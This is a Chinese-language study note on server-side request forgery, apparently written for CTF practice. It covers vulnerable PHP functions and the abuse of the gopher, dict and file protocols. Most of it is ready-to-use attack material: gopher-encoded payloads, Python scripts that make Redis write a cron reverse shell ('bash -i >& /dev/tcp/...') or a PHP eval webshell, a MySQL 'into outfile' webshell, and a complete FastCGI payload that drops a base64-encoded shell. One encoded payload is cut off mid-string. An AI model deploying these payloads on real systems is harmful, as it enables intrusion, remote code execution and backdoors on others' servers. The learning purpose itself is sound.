SSRF笔记
基础
SSRF(服务端请求伪造漏洞) 由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
一般情况下,SSRF针对的都是一些外网无法访问的内网,所以需要SSRF使目标后端去访问内网,进而达到我们攻击内网的目的。
通过SSRF,我们可以访问目标内网的redis服务,mysql服务,smpt服务,fastcgi服务等
造成漏洞的一些函数
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。
file_get_contents()/readfile()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
curl_exec()
<?php
$url=$_POST['url'];
$ch=curl_init($url); //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result);
?>
SSRF攻击中涉及的一些协议
http
直接http访问
dict协议
在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。
先判断哪个端口存在web服务
这里是直接用burp爆破端口就可以
file伪协议
file为协议就不用多说了
payload:?url=file:/var/www/html/flag.php
但是需要知道文件具体位置才能读到敏感信息。
Gopher协议
gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。
可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
curl
是支持gopher协议
的,所以这也是curl_exec()
容易出现漏洞的地方
gopher://IP:port/_{TCP/IP数据流}
那么,为什么ssrf要配合gopher协议呢?
我觉得,是因为正常来说你只能传一个内网url+文件路径,没法做更多的操作,比如传马,比如绕过验证,但是curl_exec()支持gopher协议,gopher可以把一整个请求包打包塞进里面,那请求包能干的事我们就都能干, 并且就可以解决漏洞点不在GET参数的问题了 。
在gopher协议中发送HTTP的数据,需要以下三步:
1、构造HTTP数据包 2、URL编码、替换回车换行为%0d%0a 3、发送gopher协议
在转换为URL编码时候有这么几个坑
1、问号(?)需要转码为URL编码,也就是%3f 2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a 3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
这里我们需要构造一个POST的数据包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=00f001523d0b955749ea5e3b0ca09b5f
然后我们就可以进行url编码了,编码次数取决于我们访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后在进行一次URL编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%25
SSRF打内网
存在ssrf漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议。
file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描、端口探测,如果探测到6379端口,那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上。
- redis
- fastcgi
- mysql
到这里就不得不提gopherus这个工具的使用了:此工具可以自动生成 Gopher payload,以利用 SSRF并获得 RCE。
该工具的攻击范围:
- MySQL (Port-3306)
- PostgreSQL(Port-5432)
- FastCGI (Port-9000)
- Memcached (Port-11211)
- Redis (Port-6379)
- Zabbix (Port-10050)
- SMTP (Port-25)
使用说明:
https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/
redis
理论
首先要知道redis是个啥,起什么作用
看宝塔里面的redis安装说明,貌似这个就是一种数据库,那么ssrf打redis和mysql应该是有类似的效果
redis常见漏洞利用https://www.freebuf.com/articles/network/280984.html
在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等…..
攻击
-
写进定时任务
主要依靠如下redis命令 flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave
脚本
import urllib.parse protocol="gopher://" ip="192.168.0.129" port="6379" reverse_ip="192.168.0.132" reverse_port="2333" cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port) filename="root" path="/var/spool/cron" passwd="" cmd=["flushall", "set 1 {}".format(cron.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmdif __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) payload=urllib.parse.quote(payload) with open('Result.txt','w') as f: f.write(payload) with open("Result.txt","r") as f: for line in f.readlines(): print(line.strip())
-
写webshell
在内网中的redis不会开web服务的吧..
import urllib protocol="gopher://" ip="127.0.0.1" port="6379" shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编 码
命令
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
payload
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
mysql
攻击实现原理
我觉得首先学习mysql写shell
https://www.cnblogs.com/zztac/p/11371149.html
比较常用的,其实也没啥神秘的,不过是把查询到的数据进行一个导出,我们在查的东西里面写一下一句话木马,这个木马就会出现在我们查询的数据表里,如果能导出为php文件就万事大吉了
select '<?php @eval($_POST["shell"]);?>' into outfile "/var/www/html/shell.php"
还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成’,那么基本就GG了,但是load_file,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/而不是\
大概了解了一下,客户端连接mysql有两种,一种是有密码,一种是无密码, 所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,这里利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
进行mysql查询的时候同样有数据包交互,我们要做的就是伪造这种数据包交互,进行curl,当然,这种我们伪造的数据包是利用gopher协议进行发送的
curl gopher://127.0.0.1/_XXXXXX 大概像这样
FAST-CGI
理论
Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
nginx本身不能处理PHP,它只是个web服务器,当接收到请求后,如果是php请求,则发给php解释器处理,并把结果返回给客户端。
nginx一般是把请求发fastcgi管理进程处理,fascgi管理进程选择cgi子进程处理结果并返回被nginx
php-fpm:https://zhuanlan.zhihu.com/p/99271704
nginx和php-fpm的交互:https://learnku.com/articles/41710
简而言之,nginx知识一个服务器,php相关的活还得转交给背后的php干,而fastcgi就是这个“通讯兵”,而且是遵从某种转接规则的通讯兵,而php-fpm就是管理这些“通讯兵”的长官。
攻击实现原理
那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?
理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME
,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。
但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file
和auto_append_file
。
auto_prepend_file
是告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件;auto_append_file
是告诉PHP,在执行完成目标文件后,包含auto_append_file
指向的文件。
那么就有趣了,假设我们设置auto_prepend_file
为php://input
,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include
)
使用工具 Gopherus 生成攻击FastCGI协议的payload
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
现成的payload
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
这里有一个利用ssrf302跳转打本地fpm的例子
ssrf 302跳转绕过,打本地php-fpm
302.php
类似的,我们形成一个命令为ls的payload
参考:https://www.anquanke.com/post/id/262430#h2-8